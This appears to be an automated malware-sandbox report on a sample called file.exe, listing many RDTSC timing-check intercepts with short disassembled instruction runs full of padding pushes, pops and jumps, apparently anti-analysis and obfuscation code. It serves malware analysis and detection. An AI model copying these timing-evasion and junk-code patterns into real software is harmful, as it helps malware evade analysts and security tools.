Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05A second address: 4DF05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05E second address: 4DF067 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF067 second address: 4DF06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF06D second address: 4DF073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF341 second address: 4DF347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DFBAC second address: 4DFBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4828F7EDE4h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F4828F7EDDCh 0x00000011 jnp 00007F4828F7EDDEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424E8B second address: 424E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424E92 second address: 424EA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828F7EDDAh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F56DB second address: 4F56E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F56E4 second address: 4F56E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F56E8 second address: 4F56EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F56EC second address: 4F5724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F4828F7EDE2h 0x0000000c popad 0x0000000d pushad 0x0000000e jno 00007F4828F7EDEAh 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5724 second address: 4F5739 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D5 second address: 4FA0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4828F7EDDEh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9A62 second address: 4F9A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4828E70456h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9A6D second address: 4F9A83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F4828F7EDD6h 0x00000009 pushad 0x0000000a popad 0x0000000b jnp 00007F4828F7EDD6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0F3 second address: 4FD125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70463h 0x00000007 jmp 00007F4828E70466h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD125 second address: 4FD129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD129 second address: 4FD12D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501B89 second address: 501B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501B8F second address: 501BB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jbe 00007F4828E7046Dh 0x0000000f jmp 00007F4828E7045Dh 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51194B second address: 51195B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007F4828F7EDD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51195B second address: 51195F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510530 second address: 51055D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F4828F7EDFBh 0x0000000f pushad 0x00000010 jng 00007F4828F7EDD6h 0x00000016 jc 00007F4828F7EDD6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5106B1 second address: 5106D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828E7045Dh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F4828E70458h 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5106D1 second address: 5106EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828F7EDE9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510AE2 second address: 510AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510AE8 second address: 510B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F4828F7EDE4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510B04 second address: 510B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514DCF second address: 514DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514F17 second address: 514F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jo 00007F4828E7045Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520078 second address: 520083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520083 second address: 520097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ah 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520097 second address: 52009D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52009D second address: 5200A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534827 second address: 53482B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535FD3 second address: 536003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828E70466h 0x00000009 jmp 00007F4828E70466h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536003 second address: 536018 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F4828F7EDDCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B709 second address: 54B70D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BEBE second address: 54BEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54BEC9 second address: 54BED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C19E second address: 54C1A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DE12 second address: 54DE16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DE16 second address: 54DE1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DE1C second address: 54DE22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DE22 second address: 54DE4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDEh 0x00000007 jns 00007F4828F7EDDCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F4828F7EDD8h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DE4A second address: 54DE61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828E70463h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DC9B second address: 54DCB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DCB4 second address: 54DCC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F4828E7045Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5534C1 second address: 5534C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5539E8 second address: 5539EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554F62 second address: 554F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD02DD second address: 4BD0308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4828E7045Ch 0x00000008 pop ecx 0x00000009 movsx edx, cx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], ebp 0x00000012 pushad 0x00000013 movzx esi, di 0x00000016 mov cx, di 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ebx, ecx 0x00000021 push ecx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0308 second address: 4BD0318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828F7EDDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0318 second address: 4BD0332 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ecx, edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0419 second address: 4BD041E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD041E second address: 4BD042C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828E7045Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 467918 second address: 467931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 467931 second address: 467936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04AE second address: 4BD04D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov di, si 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04D3 second address: 4BD04DF instructions: 0x00000000 rdtsc 0x00000002 mov cx, 17A5h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a mov edx, eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04DF second address: 4BD04F4 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 4BF6B4A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, cx 0x00000011 mov di, cx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0536 second address: 4BD054D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 92h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 20085AEBh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD054D second address: 4BD055D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD055D second address: 4BD0563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0563 second address: 4BD0567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0567 second address: 4BD056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD056B second address: 4BD0596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F489B562855h 0x0000000d push 771B27D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [77240140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 pushad 0x00000053 movsx edi, si 0x00000056 jmp 00007F4828F7EDE0h 0x0000005b popad 0x0000005c and dword ptr [ebp-04h], 00000000h 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0596 second address: 4BD05BE instructions: 0x00000000 rdtsc 0x00000002 mov ax, A849h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4828E70466h 0x0000000d popad 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD05BE second address: 4BD05C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD05C2 second address: 4BD05C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD05C8 second address: 4BD05D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828F7EDDBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD05D7 second address: 4BD0632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a jmp 00007F4828E70465h 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007F4828E7045Eh 0x00000016 inc edx 0x00000017 jmp 00007F4828E70460h 0x0000001c test al, al 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F4828E70467h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0632 second address: 4BD0632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F4828F7ED77h 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007F4828F7EDDEh 0x00000016 inc edx 0x00000017 jmp 00007F4828F7EDE0h 0x0000001c test al, al 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F4828F7EDE7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0673 second address: 4BD069B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 2Ah 0x00000005 mov edx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edi, dword ptr [ebp+08h] 0x0000000d jmp 00007F4828E70464h 0x00000012 dec edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD069B second address: 4BD06A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06A1 second address: 4BD06A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06A7 second address: 4BD06AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06AB second address: 4BD06D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4828E70469h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06D1 second address: 4BD06D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06D7 second address: 4BD0707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70463h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4828E70460h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0707 second address: 4BD070B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD070B second address: 4BD0711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0711 second address: 4BD073D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4828F7EDE7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD073D second address: 4BD076B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4828E7045Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD076B second address: 4BD0795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F489B5570D5h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4828F7EDDDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0795 second address: 4BD079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD079B second address: 4BD079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD079F second address: 4BD07E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007F4828E7045Fh 0x0000000f shr ecx, 02h 0x00000012 jmp 00007F4828E70466h 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b rep movsd 0x0000001d rep movsd 0x0000001f rep movsd 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F4828E7045Ah 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD07E1 second address: 4BD07E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD07E5 second address: 4BD07EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
